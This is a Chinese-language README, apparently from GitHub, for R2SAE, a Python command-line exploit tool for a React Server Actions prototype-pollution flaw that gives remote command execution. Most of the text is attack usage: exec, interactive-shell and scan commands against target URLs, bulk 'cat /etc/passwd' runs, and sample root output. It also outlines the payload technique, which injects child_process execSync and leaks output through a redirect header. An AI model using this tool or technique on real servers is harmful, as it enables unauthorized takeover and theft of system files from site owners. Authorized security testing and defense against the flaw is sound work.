sammwyy/R2SAE
GitHub: sammwyy/R2SAE
针对 React Server Actions 原型污染漏洞的命令行利用工具,支持漏洞扫描、远程命令执行和交互式 shell 操作。
Stars: 55 | Forks: 15
# R2SAE - React2Shell Auto-Exploit
一个用于利用 React Server Actions 中 **prototype pollution(原型污染)** 漏洞的 CLI 工具,可在存在漏洞的服务器上实现远程命令执行 (RCE)。
## ⚠️ 警告
**本工具仅供教育目的和经授权的安全测试使用。未经许可对系统擅自使用本工具是非法的,并受到严格禁止。**
## 📋 环境要求
- Python 3.6 或更高版本
- `requests` >= 2.31.0
## 🔧 安装
1. 克隆仓库:
```
git clone https://github.com/sammwyy/r2sae
cd r2sae
```
2. 安装依赖:
```
pip install -r requirements.txt
```
或直接安装:
```
pip install requests
```
## 📖 使用说明
R2SAE 采用基于子命令的界面。主要命令包括:
- `exec` - 在目标主机上执行命令
- `shell` - 交互式 shell 模式
- `scan` - 扫描主机是否存在漏洞
### Exec 命令
在一个或多个目标服务器上执行特定命令:
```
python r2sae.py exec -c "command"
```
**示例:**
```
# 在单个 host 上执行 whoami
python r2sae.py exec http://localhost:3000 -c whoami
# 在多个 hosts 上执行 id
python r2sae.py exec http://target1.com http://target2.com -c "id"
# 执行并输出 verbose 信息
python r2sae.py exec http://target.com -c "ls -la" -v
# 执行且不捕获 output
python r2sae.py exec http://target.com -c "touch /tmp/test" --no-output
# 保存 results 到 JSON 文件
python r2sae.py exec http://target.com -c whoami -o results.json -f json
# 执行且不带 colors (适用于 scripts)
python r2sae.py exec http://target.com -c id -n
```
### Shell 命令
启动交互式 shell,以便在一个或多个主机上执行多条命令:
```
python r2sae.py shell
```
**示例:**
```
# 单个 host
python r2sae.py shell http://localhost:3000
# 多个 hosts (commands 在所有 hosts 上执行)
python r2sae.py shell http://host1.com http://host2.com
```
在交互模式下:
- 输入命令并按 Enter 即可在所有主机上执行
- 每个结果显示生成该结果的主机:`> (host) output`
- 输入 `exit`、`quit` 或 `q` 退出
- 使用 `Ctrl+C` 中断
### Scan 命令
扫描一个或多个主机以进行漏洞检测:
```
python r2sae.py scan [--active]
```
**示例:**
```
# Passive scan (默认) - 使用 expression evaluation
python r2sae.py scan http://target.com
# Active scan - 使用 shell command execution
python r2sae.py scan http://target.com --active
# Scan 多个 hosts
python r2sae.py scan http://host1.com http://host2.com http://host3.com
# 保存 scan results 到 CSV
python r2sae.py scan http://target.com --active -o scan_results.csv -f csv
```
**扫描方式:**
- **被动 (默认)**:计算数学表达式 (`1337 + 42`) 而不执行系统命令。更安全且侵入性更低。
- **主动 (`--active`)**:执行 `id` 命令以验证漏洞。更准确但更具侵入性。
### 全局选项
```
Global options (available for all commands):
-h, --help Show help message
-v, --verbose Detailed output (verbose)
-n, --no-colors Disable colored output
-o, --output FILE Save results to file
-f, --output-format FORMAT Output format: json, csv, or txt (default: txt)
--no-banner Suppress the banner
Exec command options:
-c, --command COMMAND Command to execute on target (required)
--no-output Do not attempt to read command output
Scan command options:
--active Use active scan method (shell) instead of passive (expression)
```
## 📝 使用示例
### 示例 1:在单个主机上执行命令
```
python r2sae.py exec http://vulnerable-app.com -c whoami
```
**输出:**
```
[*] Executing on: http://vulnerable-app.com
(Out) http://vulnerable-app.com: root
```
### 示例 2:在多个主机上执行命令
```
python r2sae.py exec http://host1.com http://host2.com http://host3.com -c "id"
```
**输出:**
```
[*] Executing on: http://host1.com
[*] Executing on: http://host2.com
[*] Executing on: http://host3.com
(Out) http://host1.com: uid=0(root) gid=0(root) groups=0(root)
(Out) http://host2.com: uid=1000(user) gid=1000(user) groups=1000(user)
(Err) http://host3.com: No output captured
```
### 示例 3:将结果保存到 JSON 文件
```
python r2sae.py exec http://target.com -c "ls -la" -o results.json -f json
```
### 示例 4:针对多主机的交互式 shell 模式
```
python r2sae.py shell http://host1.com http://host2.com
```
**示例会话:**
```
[*] Interactive mode enabled
[*] Targets: http://host1.com, http://host2.com
[*] Type 'exit' or 'quit' to exit
Shell: whoami
> (http://host1.com) root
> (http://host2.com) admin
Shell: pwd
> (http://host1.com) /var/www/app
> (http://host2.com) /home/admin
Shell: exit
```
### 示例 5:被动漏洞扫描
```
python r2sae.py scan http://target.com
```
**输出:**
```
[*] Scanning: http://target.com
[+] VULNERABLE (expr method)
[+] Result: 1379
============================================================
Scan Summary:
============================================================
http://target.com: VULNERABLE (expr)
Total: 1/1 vulnerable
```
### 示例 6:主动漏洞扫描
```
python r2sae.py scan http://target.com --active
```
### 示例 7:扫描多个主机并保存为 CSV
```
python r2sae.py scan http://host1.com http://host2.com -o scan_results.csv -f csv
```
### 示例 8:执行命令不带颜色(用于脚本)
```
python r2sae.py exec http://target.com -c whoami -n -o output.txt
```
### 示例 9:批量执行并导出输出
```
python r2sae.py exec http://host1.com http://host2.com -c "cat /etc/passwd" -o results.json -f json -n
```
## 🔍 工作原理
R2SAE 通过以下方式利用 React Server Actions 中的 **prototype pollution(原型污染)** 漏洞:
1. **Payload 构造**:创建一个污染 JavaScript 对象原型的 multipart/form-data payload
2. **代码注入**:使用 `process.mainModule.require('child_process').execSync()` 执行系统命令
3. **输出捕获**:通过 `X-Action-Redirect` 头中的 Next.js 重定向发送命令输出
4. **提取**:从响应头解析并解码输出
### 扫描方式说明
**被动扫描(表达式求值):**
- 计算一个 JavaScript 表达式 (`1337 + 42`) 而不执行系统命令
- 如果漏洞存在,则返回结果 (`1379`)
- 非侵入性,适合初步检测
- 使用 `build_expression_payload()` 创建安全的测试 payload
**主动扫描(Shell 命令):**
- 执行 `id` 命令以验证完整的 RCE 能力
- 检查典型的命令输出模式 (`uid=`、`gid=`)
- 更准确但更具侵入性
- 使用与命令执行相同的漏洞利用机制
### 输出格式
- **JSON**:包含时间戳、命令和结果数组的结构化数据
- **CSV**:表格格式,包含 host、success/vulnerable 状态和 output 列
- **TXT**:具有带标签字段的人类可读纯文本格式
## 🛡️ 缓解措施
要保护您的 React/Next.js 应用免受此漏洞影响:
1. 将 Next.js 更新到最新版本
2. 使用环境变量存储敏感配置
3. 定期检查并更新依赖项
## 📄 许可证
本项目仅供教育和安全研究目的使用。使用本工具由用户自行承担责任。
## 🤝 贡献
欢迎贡献。请:
1. Fork 本项目
2. 创建一个特性分支 (`git checkout -b feature/AmazingFeature`)
3. 提交您的更改 (`git commit -m 'Add some AmazingFeature'`)
4. 推送到分支 (`git push origin feature/AmazingFeature`)
5. 打开一个 Pull Request
**请记住**:负责任地使用此工具,并且仅在您拥有明确授权进行安全测试的系统上使用。
标签:CISA项目, Exploit, Python, RCE, React, Server Actions, Syscalls, Web报告查看器, 原型污染, 数据展示, 无后门, 红队, 编程工具, 网络安全, 自动化利用, 远程代码执行, 逆向工具, 隐私保护